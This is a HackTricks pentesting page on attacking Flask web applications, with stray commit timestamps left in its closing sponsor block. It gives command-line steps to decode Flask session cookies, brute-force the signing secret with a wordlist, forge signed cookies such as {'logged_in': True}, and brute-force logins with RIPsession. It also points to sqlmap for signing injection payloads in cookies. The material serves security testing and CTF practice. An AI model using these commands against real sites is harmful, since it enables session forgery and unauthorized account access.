hacktricks/network-services-pentesting/pentesting-web/flask.md

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# Flask
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<details>
<summary><strong>Support HackTricks and get benefits!</strong></summary>
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- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
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- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
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- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
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- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**
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- **Share your hacking tricks by submitting PRs to the** [**hacktricks github repo**](https://github.com/carlospolop/hacktricks)**.**
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</details>
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{% hint style="danger" %}
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<img src="../../.gitbook/assets/image (307).png" alt="" data-size="original">
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Through Security Skills as a Service, we help organizations to **defend against the Dark Hacking Arts**. Security Skills as a Service is an offensive cybersecurity consultancy model that combines an Intelligent Platform with the top-class, globally distributed, offensive security engineers, delivering **high-quality penetration testing results. Security Hubs** bring together offensive penetration testing tactics with human behavioral science, providing real-time insights into threat actors' tradecraft and a **complete assessment of any risks**.
{% embed url="https://securityhubs.io/" %}
{% endhint %}
****
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**Probably if you are playing a CTF a Flask application will be related to** [**SSTI**](../../pentesting-web/ssti-server-side-template-injection/)**.**
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## Cookies
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Default cookie session name is **`session`**.
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### Decoder
Online Flask coockies decoder: [https://www.kirsle.net/wizards/flask-session.cgi](https://www.kirsle.net/wizards/flask-session.cgi)
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#### Manual
Get the first part of the cookie until the first point and Base64 decode it>
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```bash
echo "ImhlbGxvIg" | base64 -d
```
The cookie is also signed using a password
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### **Flask-Unsign**
Command line tool to fetch, decode, brute-force and craft session cookies of a Flask application by guessing secret keys.
{% embed url="https://pypi.org/project/flask-unsign/" %}
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```bash
pip3 install flask-unsign
```
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#### **Decode Cookie**
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```bash
flask-unsign --decode --cookie 'eyJsb2dnZWRfaW4iOmZhbHNlfQ.XDuWxQ.E2Pyb6x3w-NODuflHoGnZOEpbH8'
```
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#### **Brute Force**
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```bash
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flask-unsign --wordlist /usr/share/wordlists/rockyou.txt --unsign --cookie '<cookie>' --no-literal-eval
```
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#### **Signing**
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```bash
flask-unsign --sign --cookie "{'logged_in': True}" --secret 'CHANGEME'
```
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#### Signing using legacy (old versions)
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```bash
flask-unsign --sign --cookie "{'logged_in': True}" --secret 'CHANGEME' --legacy
```
### **RIPsession**
Command line tool to brute-force websites using cookies crafted with flask-unsign.
{% embed url="https://github.com/Tagvi/ripsession" %}
```bash
ripsession -u 10.10.11.100 -c "{'logged_in': True, 'username': 'changeMe'}" -s password123 -f "user doesn't exist" -w wordlist.txt
```
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### SQLi in Flask session cookie with SQLmap
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[**This example**](../../pentesting-web/sql-injection/sqlmap/#eval) uses sqlmap `eval` option to **automatically sign sqlmap payloads** for flask using a known secret.
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{% hint style="danger" %}
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<img src="../../.gitbook/assets/image (307).png" alt="" data-size="original">
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Through Security Skills as a Service, we help organizations to **defend against the Dark Hacking Arts**. Security Skills as a Service is an offensive cybersecurity consultancy model that combines an Intelligent Platform with the top-class, globally distributed, offensive security engineers, delivering **high-quality penetration testing results. Security Hubs** bring together offensive penetration testing tactics with human behavioral science, providing real-time insights into threat actors' tradecraft and a **complete assessment of any risks**.
{% embed url="https://securityhubs.io/" %}
{% endhint %}
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<details>
<summary><strong>Support HackTricks and get benefits!</strong></summary>
2022-09-09 11:28:04 +00:00
- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
2022-04-28 16:01:33 +00:00
2022-09-09 11:28:04 +00:00
- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
2022-04-28 16:01:33 +00:00
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- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
2022-04-28 16:01:33 +00:00
2022-09-09 11:28:04 +00:00
- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**
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- **Share your hacking tricks by submitting PRs to the** [**hacktricks github repo**](https://github.com/carlospolop/hacktricks)**.**
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</details>